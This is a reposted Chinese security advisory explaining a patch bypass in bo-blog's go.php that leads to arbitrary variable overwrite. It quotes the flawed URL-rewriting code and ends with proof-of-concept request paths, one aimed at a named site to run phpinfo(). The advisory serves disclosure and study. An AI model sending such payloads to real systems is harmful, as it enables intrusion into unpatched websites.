日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

boblog任意变量覆盖漏洞(二)

發布時間:2023/12/10 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 boblog任意变量覆盖漏洞(二) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

boblog任意變量覆蓋漏洞(二)

by Ryat[puretot]
mail: puretot at gmail dot com
team: http://www.80vul.com
date: 2011-03-09

先前80vul.com上公布了一個bo-blog的漏洞[1],這個漏洞已經被官方修補,但隨后wooyun.com上公布了一個繞過補丁的方法[2],可惜觸發時有一定的限制,下面我再來公布一個沒有任何限制的繞過補丁繼續觸發漏洞的方法:)

這個簡單來說是正則表達式和代碼邏輯不夠嚴謹造成的,來看代碼:

// go.php

$q_url=$_SERVER["REQUEST_URI"];
@list($relativePath, $rawURL)=@explode('/go.php/', $q_url);
$rewritedURL=$rawURL;
...
$RewriteRules[]="/page\/([0-9]+)\/([0-9]+)\/?/";
// 這個正則看上去很嚴謹,但是沒有使用^和$來限制開頭與結尾[可能是為了適應程序自身的需要]:)
...
$RedirectTo[]="index.php?mode=\\1&page=\\2";
...
foreach ($RewriteRules as $rule) {
?if (preg_match($rule, $rewritedURL)) {
??$tmp_rewritedURL=preg_replace($rule, '<'.$RedirectTo[$i].'<', $rewritedURL, 1);
// 對$rewritedURL進行匹配和替換,并使用<來標記匹配的部分
// 經過這樣的處理后$tmp_rewritedURL主要分為三部分:
// i.第一個<前面的部分
// ii.兩個<之間的部分
// iii.第二個<后面的部分
??$tmp_rewritedURL=@explode('<', $tmp_rewritedURL);
??$rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1];
// 這段代碼的主要目的是解決之前的正則限制不夠嚴格的問題
// 程序員希望通過這段代碼去掉i和iii,使$rewritedURL僅保留ii
// 注意這里還對iii做了限制,按照程序員的想法,iii這部分應該是不存在的:)
// 這部分代碼邏輯的關鍵就在于<這個字符,但遺憾的是我們是可以隨意注入<的:p
??break;
?}
?$i+=1;
}

從上面的分析可以看出這段代碼對$rewritedURL處理邏輯貌似很嚴謹,但事實我們只要通過簡單的注入<這個字符,就可以打亂整個邏輯了:)

PoC:
/go.php/<[evil code]<page/1/1/

參考:
[1]http://www.80vul.com/boblog/boblog.txt
[2]http://www.wooyun.org/bugs/wooyun-2010-01491

?

http://www.s135.com/go.php?wst=/go.php/<page.php?elements[tips]=%3c!--%20php%20-->%3c!--%20phpinfo();%20-->%3c!--%20/php%20--><page/1/1

總結

以上是生活随笔為你收集整理的boblog任意变量覆盖漏洞(二)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。